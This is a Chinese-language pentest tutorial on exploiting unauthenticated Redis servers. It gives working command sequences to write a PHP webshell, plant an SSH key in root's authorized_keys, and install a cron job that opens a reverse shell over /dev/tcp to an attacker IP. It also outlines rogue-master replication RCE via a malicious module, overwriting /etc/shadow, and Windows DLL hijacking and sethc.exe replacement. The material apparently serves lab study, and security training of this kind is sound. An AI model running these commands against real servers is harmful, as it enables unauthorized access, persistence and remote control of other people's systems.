Redis未授权利用
Redis常用命令
服务端启动:redis-server xxx.conf
本地连接:redis-cli
远程连接:redis-cli -h host -p port -a password
未授权利用方式
写Webshell
前提条件:
- 知道Web目录
- redis运行用户拥有该目录写权限
keys *
set webshell "<?php phpinfo(); ?>"
config get *
config set dir /var/www/html # 设置文件写入目录
config set dbfilename 1.php # 设置写入文件名
save # 保存
注意
redis可以创建文件,但无法创建目录
清理痕迹要删除key,同时还原config里的配置项
写ssh公钥
目标靶机的基本配置
存在root用户或其他用户下.ssh目录(权限700) 和 authorized_keys文件(权限600)
前提条件:
- 已知目标主机用户
- 拥有.ssh目录
- 允许使用基于密钥认证方式登录
// 本机生成公私钥
ssh-keygen -t rsa
// 将本机公钥放入key.txt
(echo -e "\n";cat id_rsa.pub;ehco -e "\n") > key.txt
// 执行redis命令,生成键值对
cat /root/.ssh/key.txt | redis-cli -h ip -x set pub
config set dir /root/.ssh
config set dbfilename authorized_keys
save
// 利用私钥登录
ssh -i id_rsa root@ip
写定时任务反弹shell
前提条件:
- redis用户拥有计划任务目录写权限
- 目标开启cron服务
// 攻击机开启监听
nc -nvlp 7777
set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.10.140/7777 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
注意:
ubuntu反弹shell会出现多处错误:
1.提示缺少默认邮件服务器,实际是因为计划任务执行出错,想要通过邮件服务器发送错误信息
2.本质的错误信息为:
sh: 1: Syntax error: Bad fd number
,查询后发现cron中command的执行环境为/bin/sh,而/bin/sh指向的是dash(它更好,变成默认了),反弹任务中用bash环境去执行,所以产生冲突报错。因此只需要将目标机器的/bin/sh指向bash就可,或者避免在cron文件里去使用bash这个shell,另外去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件,再或者写计划任务的反弹shell内容如下:*/1 * * * * bash -c "bash -i >& /dev/tcp/x.x.x.x/7777 0>&1"
3.redis写入root文件权限为644,而root文件权限必须为600,否则报不安全错误
3.redis写入文件后会出现乱码,centos主机会忽略乱码执行命令,而ubuntu和debian无法忽视乱码,不可以执行命令,反弹失败()。因此可尝试主从复制写纯净文件达到效果,当然有了可利用的主从就不一定执着于定时任务
主从复制RCE
随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和cron,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
Redis主从复制
edis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
使用两台虚拟机来模拟主从复制。
在目标机器上设置slave状态
在master上设置键 xxx
在slave上查看键 xxx
Redis模块
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编译.so模块, 代码: https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.
利用原理
详细原理:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意.so文件,我们就可以执行拓展的新命令了。
复现——主动连接模式
使用脚本模拟一个服务端来作为master(包含fullresync请求)
本次目标靶机为ubuntu,作为slave
直接执行poc脚本如下:
复现——被动连接模式
通过 SSRF 攻击Redis
内网 Redis 未授权访问/已知 Redis 口令, Redis 需要反向连接 redis rogue server
模拟一个服务端master,等待连接
redis未授权进入目标机器,slaveof到该master
master端等到连接后,成功同步恶意payload至slave
成功在目标机器加载模块并执行命令
主从复制写纯净文件
在 linux 下,可以利用 SYNC 主从同步,来直接写入无杂质的文件,脚本及用法如下:
https://github.com/r35tart/RedisWriteFile (借助原本的redis主从复制rce脚本更改)
此脚本是通过 Redis 主从写出无损文件,可用于 Windows 平台下写出无损的 EXE、DLL、 LNK 和 Linux 下的 SO 等二进制文件
也可以用无杂质覆写 Linux 中的 /etc/shadow
简单复现
成功写入纯净文件
Redis在Windows下的利用方式
主要是利用主从写纯净文件:
- 系统
DLL
劫持 (目标重启或注销) - 针对特定软件的
DLL
劫持(目标一次点击) - 覆写目标的快捷方式 (目标一次点击)
- 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
- 覆写
sethc.exe
等文件 (攻击方一次触发)
参考: